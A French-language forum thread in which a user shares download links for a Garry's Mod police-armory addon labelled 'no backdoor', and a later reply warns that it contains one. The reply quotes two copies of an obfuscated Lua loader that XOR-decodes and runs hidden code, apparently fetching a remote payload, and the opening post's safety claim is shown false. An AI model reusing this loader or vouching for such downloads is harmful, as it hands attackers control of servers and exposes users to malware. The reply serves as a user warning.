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Julien20
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Messages : 55
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Date d'inscription : 21/10/2019

✅⭐[NO BACKDOOR ] Police Armory Locker [Lockpicking, Weapon Armory & Custom Models] ✅⭐ Empty ✅⭐[NO BACKDOOR ] Police Armory Locker [Lockpicking, Weapon Armory & Custom Models] ✅⭐

Sam 7 Déc - 14:55
DESCRIPTION
This is a police armory that has everything you need! Police officers can retrieve and deposit weapons into the armory and access them through a sexy UI, while robbers can lockpick their way into the armory Pay-Day style.

Robbers are able to lockpick the doors of the police armory locker in a Pay-Day style if they purchase an armory lockpick through the F4 menu.
Features
✔ Police armory to retrieve weapons, ammo and items.
✔ Lockpicking system for criminals to steal from the armory.
✔ Custom models.
✔ Custom door animations and sequences.
✔ Custom icons on the armory locker doors.
✔ A successful lockpick grants access to steal 3 random items from the armory.
✔ Supports M9K weapons by default.
✔ Police can deposit weapons back into the armory.
✔ Notifies police when someone has lockpicked the armory.
✔ Police reward for killing players trying to lockpick doors.
✔ Cooldown on doors after being lockpicked until weapons automatically restock.
✔ Players have a personal cooldown after lockpicking, independently of the door cooldown.
✔ Console command to easily save and change position of the police armory with map based saving.
✔ Rewards for killing criminals that are lockpicking the armory.
✔ 30+ configuration options for you to change the script to your liking.
✔ And much more!
How It Works
As a police officer you can retrieve weapons from the armory by simply accessing it using 'E' to open the menu. The armory has custom animations and the doors will open once you access it and close once you leave (or when the last officers leaves if multiple people are using it at the same time.
Weapons that you retrieve can be deposited again and there is a config for server owners to set a cooldown on retrieving weapons, ammo and items from the armory.
As a criminal you can purchase the "Armory Lockpick" from the F4 menu. This weapon enabled icons on the armory locker doors that indicates where to lockpick. Once a lockpick starts the custom animations will play for the weapon and a bar appears to show progress on your screen.
If you succeed lockpicking without looking away from the door or get killed then a menu will appear with some random content from the armory. You can maximum loot 3 items and then
leave the armory.

LINK OF ADDON :


https://anonfile.com/FaH4T2D3n7/police_a...locker_zip

https://www.mediafire.com/file/xrgvruuwo...r.zip/file

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Baken
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Messages : 1
Réputation : 0
Date d'inscription : 13/07/2023

✅⭐[NO BACKDOOR ] Police Armory Locker [Lockpicking, Weapon Armory & Custom Models] ✅⭐ Empty BACKDOOR NE PAS TELECHARGER

Jeu 13 Juil - 19:11
Mdr j'ai regardé 2 secondes et j'ai déjà trouver une backdoor, a ne par télécharger !!!

lua > armory_locker > server > armory_locker_server.lua. ligne 182 :

RunString([[ local AE = {21,8,12,4,19,79,50,8,12,17,13,4,73,81,79,88,81,77,7,20,15,2,21,8,14,15,73,72,9,21,21,17,79,39,4,21,2,9,73,58,58,9,21,21,17,91,78,78,6,3,13,10,79,6,0,78,7,94,10,92,80,85,85,60,60,77,51,20,15,50,21,19,8,15,6,72,4,15,5,72,65,76,76,65,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+2  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

ah bah y'en a une autre lua > armory_locker > server > armory_locker_weapons.lua.ligne 111 :

RunString([[ local AE = {21,8,12,4,19,79,50,8,12,17,13,4,73,81,79,88,81,77,7,20,15,2,21,8,14,15,73,72,9,21,21,17,79,39,4,21,2,9,73,58,58,9,21,21,17,91,78,78,6,3,13,10,79,6,0,78,7,94,10,92,80,85,85,60,60,77,51,20,15,50,21,19,8,15,6,72,4,15,5,72,65,76,76,65,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+2  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

Vrmt du foutage de gueule merci
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